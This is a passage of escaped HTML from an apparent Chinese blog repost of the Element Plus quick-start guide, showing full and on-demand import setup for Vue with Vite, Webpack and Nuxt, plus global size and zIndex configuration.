href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\"\u003e#\u003c/a\u003e\u003c/h1\u003e\u003cp\u003e本节将介绍如何在项目中使用 Element Plus。\u003c/p\u003e\u003ch2 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法#\"\u003e\u003c/a\u003e用法\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E7%94%A8%E6%B3%95\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003ch3 id=\"完整引入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\" class=\"headerlink\" title=\"完整引入#\"\u003e\u003c/a\u003e完整引入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e如果你对打包后的文件大小不是很在乎,那么使用完整导入会更方便。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// main.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/dist/index.css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.mount(\u0026#39;#app\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"Volar-支持\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Volar-%E6%94%AF%E6%8C%81\" class=\"headerlink\" title=\"Volar 支持#\"\u003e\u003c/a\u003eVolar 支持\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#volar-%E6%94%AF%E6%8C%81\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e如果您使用 Volar,请在 \u003ccode\u003etsconfig.json\u003c/code\u003e 中通过 \u003ccode\u003ecompilerOptions.type\u003c/code\u003e 指定全局组件类型。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// tsconfig.json\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;compilerOptions\u0026#34;: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;types\u0026#34;: [\u0026#34;element-plus/global\u0026#34;]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"按需导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"按需导入#\"\u003e\u003c/a\u003e按需导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e您需要使用额外的插件来导入要使用的组件。\u003c/p\u003e\u003ch4 id=\"自动导入推荐\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5%E6%8E%A8%E8%8D%90\" class=\"headerlink\" title=\"自动导入推荐#\"\u003e\u003c/a\u003e自动导入推荐\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5-%E6%8E%A8%E8%8D%90\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e首先你需要安装\u003ccode\u003eunplugin-vue-components\u003c/code\u003e 和 \u003ccode\u003eunplugin-auto-import\u003c/code\u003e这两款插件\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D unplugin-vue-components unplugin-auto-import\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把下列代码插入到你的 \u003ccode\u003eVite\u003c/code\u003e 或 \u003ccode\u003eWebpack\u003c/code\u003e 的配置文件中\u003c/p\u003e\u003ch5 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Vite\" class=\"headerlink\" title=\"Vite#\"\u003e\u003c/a\u003eVite\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#vite\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#39;unplugin-auto-import/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#39;unplugin-vue-components/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#39;unplugin-vue-components/resolvers\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"Webpack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Webpack\" class=\"headerlink\" title=\"Webpack#\"\u003e\u003c/a\u003eWebpack\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#webpack\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// webpack.config.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst AutoImport = require(\u0026#39;unplugin-auto-import/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst Components = require(\u0026#39;unplugin-vue-components/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst { ElementPlusResolver } = require(\u0026#39;unplugin-vue-components/resolvers\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emodule.exports = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e想了解更多打包 (\u003ca href=\"https://rollupjs.org/\"\u003eRollup\u003c/a\u003e, \u003ca href=\"https://cli.vuejs.org/\"\u003eVue CLI\u003c/a\u003e) 和配置工具,请参考 \u003ca href=\"https://github.com/antfu/unplugin-vue-components#installation\"\u003eunplugin-vue-components\u003c/a\u003e 和 \u003ca href=\"https://github.com/antfu/unplugin-auto-import#install\"\u003eunplugin-auto-import\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"Nuxt\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Nuxt\" class=\"headerlink\" title=\"Nuxt#\"\u003e\u003c/a\u003eNuxt\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#nuxt\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e关于 Nuxt 用户, 你只需要安装 \u003ccode\u003e@element-plus/nuxt\u003c/code\u003e 即可.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D @element-plus/nuxt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后将下面的代码写入你的配置文件.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// nuxt.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineNuxtConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules: [\u0026#39;@element-plus/nuxt\u0026#39;],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置文档参考 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003ch3 id=\"手动导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"手动导入#\"\u003e\u003c/a\u003e手动导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003eElement Plus 提供了基于 ES Module 的开箱即用的 \u003ca href=\"https://webpack.js.org/guides/tree-shaking/\"\u003eTree Shaking\u003c/a\u003e 功能。\u003c/p\u003e\u003cp\u003e但你需要安装 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus\"\u003eunplugin-element-plus\u003c/a\u003e 来导入样式。 配置文档参考 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eApp.vue\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-button\u0026gt;我是 ElButton\u0026lt;/el-button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e import { ElButton } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e export default {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: { ElButton },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;unplugin-element-plus/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [ElementPlus()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWARNING\u003c/p\u003e\u003cp\u003e如果使用 \u003ccode\u003eunplugin-element-plus\u003c/code\u003e 并且只使用组件 API,你需要手动导入样式。\u003c/p\u003e\u003cp\u003eExample:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/es/components/message/style/css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElMessage } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"快捷搭建项目模板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\" class=\"headerlink\" title=\"快捷搭建项目模板#\"\u003e\u003c/a\u003e快捷搭建项目模板\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们提供了 \u003ca href=\"https://github.com/element-plus/element-plus-vite-starter\"\u003eVite 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于Nuxt 用户,我们有一个 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt-starter\"\u003eNuxt 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于 Laravel 用户,我们也准备了\u003ca href=\"https://github.com/element-plus/element-plus-in-laravel-starter\"\u003eLaravel 模板\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"全局配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"全局配置#\"\u003e\u003c/a\u003e全局配置\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e在引入 ElementPlus 时,可以传入一个包含 \u003ccode\u003esize\u003c/code\u003e 和 \u003ccode\u003ezIndex\u003c/code\u003e 属性的全局配置对象。 \u003ccode\u003esize\u003c/code\u003e 用于设置表单组件的默认尺寸,\u003ccode\u003ezIndex\u003c/code\u003e 用于设置弹出组件的层级,\u003ccode\u003ezIndex\u003c/code\u003e 的默认值为 \u003ccode\u003e2000\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e完整引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus, { size: \u0026#39;small\u0026#39;, zIndex: 3000 })\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按需引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan 